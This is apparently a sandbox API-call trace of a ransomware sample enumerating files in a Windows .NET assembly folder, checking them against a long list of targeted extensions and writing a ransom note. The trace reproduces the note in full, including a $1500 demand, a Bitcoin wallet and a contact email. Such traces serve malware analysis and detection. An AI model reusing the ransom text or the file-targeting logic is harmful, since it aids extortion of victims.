(lpString="*.mov") returned 5 [0109.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0109.645] lstrlenA (lpString="*.xdw") returned 5 [0109.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0109.645] lstrlenA (lpString="*.ods") returned 5 [0109.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0109.645] lstrlenA (lpString="*.wav") returned 5 [0109.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0109.645] lstrlenA (lpString="*.mp3") returned 5 [0109.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0109.645] lstrlenA (lpString="*.aiff") returned 6 [0109.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0109.645] lstrlenA (lpString="*.flac") returned 6 [0109.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0109.645] lstrlenA (lpString="*.m4a") returned 5 [0109.645] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\077a55be734d6ef6e2de59fa7325dac5\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0109.645] lstrlenA (lpString="*.csv") returned 5 [0109.645] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39074250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x39074250, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x39074250, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x33400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.646] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.646] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62239460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x62239460, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x62239460, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="1cd71708b05fcc40fe0a610c33ee6b62", cAlternateFileName="1CD717~1")) returned 1 [0109.646] lstrcmpA (lpString1=".", lpString2="1cd71708b05fcc40fe0a610c33ee6b62") returned -1 [0109.646] lstrcmpA (lpString1="..", lpString2="1cd71708b05fcc40fe0a610c33ee6b62") returned -1 [0109.646] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0109.646] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="1cd71708b05fcc40fe0a610c33ee6b62" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62" [0109.646] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62") returned 100 [0109.646] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62239460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x62239460, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x62239460, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.649] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.649] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62239460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x62239460, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x62239460, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.649] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.649] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.649] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x621c7040, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x621c7040, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x621c7040, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x4c000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.649] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.650] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll") returned -1 [0109.650] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll") returned -1 [0109.650] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll") returned -1 [0109.650] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\*.*") returned="*.*" [0109.650] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\" [0109.650] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\") returned="" [0109.650] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\HOW TO DECRYPT FILES.txt" [0109.650] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\1cd71708b05fcc40fe0a610c33ee6b62\\how to decrypt files.txt")) returned 0xffffffff [0109.650] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\1cd71708b05fcc40fe0a610c33ee6b62\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.662] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0109.663] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.664] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.664] CloseHandle (hObject=0x90) returned 1 [0109.664] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\", lpString2="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll" [0109.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0109.664] lstrlenA (lpString="*.ems") returned 5 [0109.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.db") returned 0 [0109.664] lstrlenA (lpString="*.db") returned 4 [0109.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0109.664] lstrlenA (lpString="*.dbf") returned 5 [0109.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0109.665] lstrlenA (lpString="*.myox") returned 6 [0109.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0109.665] lstrlenA (lpString="*.myo") returned 5 [0109.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0109.665] lstrlenA (lpString="*.qbw") returned 5 [0109.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0109.665] lstrlenA (lpString="*.qbb") returned 5 [0109.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0109.665] lstrlenA (lpString="*.qbm") returned 5 [0109.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0109.665] lstrlenA (lpString="*.qbo") returned 5 [0109.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0109.665] lstrlenA (lpString="*.qbx") returned 5 [0109.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0109.665] lstrlenA (lpString="*.qba") returned 5 [0109.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0109.666] lstrlenA (lpString="*.qby") returned 5 [0109.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0109.666] lstrlenA (lpString="*.qbj") returned 5 [0109.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0109.666] lstrlenA (lpString="*.ofx") returned 5 [0109.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0109.666] lstrlenA (lpString="*.qif") returned 5 [0109.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0109.666] lstrlenA (lpString="*.mye") returned 5 [0109.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0109.666] lstrlenA (lpString="*.mbox") returned 6 [0109.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0109.666] lstrlenA (lpString="*.eml") returned 5 [0109.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0109.666] lstrlenA (lpString="*.pst") returned 5 [0109.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0109.666] lstrlenA (lpString="*.ost") returned 5 [0109.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0109.666] lstrlenA (lpString="*.idx") returned 5 [0109.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0109.667] lstrlenA (lpString="*.dbx") returned 5 [0109.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0109.667] lstrlenA (lpString="*.sql") returned 5 [0109.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0109.667] lstrlenA (lpString="*.mdb") returned 5 [0109.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0109.667] lstrlenA (lpString="*.fdb") returned 5 [0109.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0109.667] lstrlenA (lpString="*.wab") returned 5 [0109.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0109.667] lstrlenA (lpString="*.dat") returned 5 [0109.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0109.667] lstrlenA (lpString="*.txt") returned 5 [0109.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0109.667] lstrlenA (lpString="*.jpeg") returned 6 [0109.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0109.667] lstrlenA (lpString="*.jpg") returned 5 [0109.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.png") returned 0 [0109.667] lstrlenA (lpString="*.png") returned 5 [0109.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.php") returned 0 [0109.667] lstrlenA (lpString="*.php") returned 5 [0109.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0109.667] lstrlenA (lpString="*.cs") returned 4 [0109.667] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0109.668] lstrlenA (lpString="*.cpp") returned 5 [0109.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0109.668] lstrlenA (lpString="*.rar") returned 5 [0109.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0109.668] lstrlenA (lpString="*.zip") returned 5 [0109.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.html") returned 0 [0109.668] lstrlenA (lpString="*.html") returned 6 [0109.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0109.668] lstrlenA (lpString="*.htm") returned 5 [0109.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0109.668] lstrlenA (lpString="*.xlsx") returned 6 [0109.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0109.668] lstrlenA (lpString="*.xls") returned 5 [0109.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0109.668] lstrlenA (lpString="*.mp4") returned 5 [0109.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0109.668] lstrlenA (lpString="*.ppt") returned 5 [0109.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0109.668] lstrlenA (lpString="*.pptx") returned 6 [0109.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0109.668] lstrlenA (lpString="*.doc") returned 5 [0109.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0109.669] lstrlenA (lpString="*.dot") returned 5 [0109.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0109.669] lstrlenA (lpString="*.docx") returned 6 [0109.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0109.669] lstrlenA (lpString="*.7z") returned 4 [0109.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0109.669] lstrlenA (lpString="*.tar") returned 5 [0109.669] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\1cd71708b05fcc40fe0a610c33ee6b62\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.bz2") returned 0 